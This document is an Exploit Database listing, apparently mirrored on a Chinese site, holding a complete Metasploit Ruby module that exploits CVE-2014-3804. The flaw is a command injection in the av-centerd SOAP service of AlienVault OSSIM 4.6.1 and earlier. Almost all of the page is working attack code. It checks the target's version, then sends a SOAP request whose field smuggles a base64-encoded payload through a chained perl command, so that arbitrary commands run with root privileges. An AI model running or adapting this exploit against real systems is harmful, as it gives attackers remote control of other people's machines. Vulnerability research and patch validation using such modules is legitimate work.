Alienvault Open Source SIEM (OSSIM) – av-centerd Command Injection (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2014-06-24
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33865/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rexml/document'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include REXML
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'AlienVault OSSIM av-centerd Command Injection',
  'Description' => %q{
  This module exploits a code execution flaw in AlienVault 4.6.1 and
  prior.The vulnerability exists in the av-centerd SOAP web service,
  where the update_system_info_debian_package method uses perl backticks
  in an insecure way, allowing command injection. This module has been
  tested successfully on AlienVault 4.6.0.
  },
  'Author'=>
  [
  'Unknown', # From HP ZDI team, Vulnerability discovery
  'juan vazquez' # Metasploit module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  ['CVE', '2014-3804'],
  ['BID', '67999'],
  ['ZDI', '14-202'],
  ['URL', 'http://forums.alienvault.com/discussion/2690']
  ],
  'Privileged' => true,
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Payload'=>
  {
  #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
  'Compat'=> {
  'RequiredCmd' => 'perl netcat-e openssl python gawk'
  }
  },
  'DefaultOptions' =>
  {
  'SSL' => true
  },
  'Targets'=>
  [
  [ 'AlienVault <= 4.6.1', { }]
  ],
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'May 5 2014'))
  
  register_options(
  [
  Opt::RPORT(40007)
  ], self.class)
  end
  
  def check
  version = ""
  res = send_soap_request("get_dpkg")
  
  if res &&
   res.code == 200 &&
   res.headers['SOAPServer'] &&
   res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
   res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
  
  version = $1
  end
  
  if version.empty? || version >= "4.7.0"
  return Exploit::CheckCode::Safe
  else
  return Exploit::CheckCode::Appears
  end
  end
  
  def exploit
  send_soap_request("update_system_info_debian_package", 1)
  end
  
  def build_soap_request(method)
  xml = Document.new
  xml.add_element(
  "soap:Envelope",
  {
  'xmlns:xsi'=> "http://www.w3.org/2001/XMLSchema-instance",
  'xmlns:soapenc'=> "http://schemas.xmlsoap.org/soap/encoding/",
  'xmlns:xsd'=> "http://www.w3.org/2001/XMLSchema",
  'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
  'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/"
  })
  body = xml.root.add_element("soap:Body")
  m = body.add_element(
  method,
  {
  'xmlns' => "AV/CC/Util"
  })
  args = []
  args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
  args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
  args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
  args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
  (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
  
  if method == "update_system_info_debian_package"
  args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
  perl_payload= "system(decode_base64"
  perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
  args[4].text= "#{rand_text_alpha(4 + rand(4))}"
  args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
  end
  
  xml.to_s
  end
  
  def send_soap_request(method, timeout = 20)
  soap = build_soap_request(method)
  
  res = send_request_cgi({
  'uri'=> '/av-centerd',
  'method' => 'POST',
  'ctype'=> 'text/xml; charset=UTF-8',
  'data' => soap,
  'headers'=> {
  'SOAPAction' => "\"AV/CC/Util##{method}\""
  }
  }, timeout)
  
  res
  end
  
  end